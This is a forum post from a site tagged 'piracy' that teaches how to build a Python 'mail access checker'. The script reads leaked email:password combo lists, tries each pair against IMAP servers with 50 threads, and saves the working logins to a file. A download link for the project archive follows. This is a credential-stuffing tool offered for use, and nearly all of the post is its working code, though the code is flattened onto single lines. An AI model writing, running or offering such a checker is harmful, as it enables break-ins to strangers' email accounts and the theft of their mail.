# Python Tutorial - Creating A Mail Access Checker!

**URL:** <https://onehack.st/t/python-tutorial-creating-a-mail-access-checker/54828>\
**Category:** Tools & Scripts\
**Tags:** piracy, tips-tricks\
**Created:** [August 28, 2019, 2:23am UTC](https://onehack.st/t/python-tutorial-creating-a-mail-access-checker/54828 "2019-08-28T02:23:35Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![Aina](https://onehack.st/user_avatar/onehack.st/aina/32/167469_2.png) [@Aina](https://onehack.st/u/Aina)\
**Post date:** [August 28, 2019, 2:23am UTC](https://onehack.st/t/python-tutorial-creating-a-mail-access-checker/54828/1 "2019-08-28T02:23:35Z")

</div>

Hello Folks, hopefully, This checker removes trashy domains; `126.net, sina.net` - domains that don’t allow selecting while in state AUTH.

**#1: Importing modules**

To log into emails, you’ll need to use **imaplib** module, and for multithreading, we’ll use builtin threading module: **threading** , then we’ll use **socket** to set timeouts, lastly comes ctypes to set the console title.

```auto
import imaplib, threading, socket, ctypes
```

**#2: File handling:**

We’ll need to handle 3 files: input file, output file and imapsettings file

```auto
combos = open("combo.txt", 'r', errors="ignore").read().splitlines() imapsettings = [x.lower() for x in open("imapsettings.txt", 'r').read().splitlines() if len(str(x).split('|'))==2] domains = {} for i in imapsettings: domains[i.split('|')[0]] = i.split('|')[1] def output(text): with open('mailaccess.txt', 'a') as outputfile: outputfile.write(text + '\n') outputfile.close()
```

**#3: Checking for valid:**

```auto
good = 0 false = 0 def cthread(): global good global false while len(combos)>0: try: login = combos.pop(0).split(":") mail = imaplib.IMAP4_SSL(domains[login[0].split("@")[1]]) mail.login(login[0], login[1]) mail.select() #No errors, we're good to go! output(login[0] + ":" + login[1]) good += 1 except: false += 1
```

**#4: Threading & Console titles:**

```auto
from time import sleep while True: sleep(0.1) ctypes.windll.kernel32.SetConsoleTitleW(f"Mail access: {str(good)} | Left: {str(len(combos))}")
```

```auto
for _ in range(50): threading.Thread(target=cthread).start() 
```

**GET** : [https://cdn.discorda…oject\_email.rar](https://cdn.discordapp.com/attachments/556477103634120726/573173588732018702/project_email.rar)
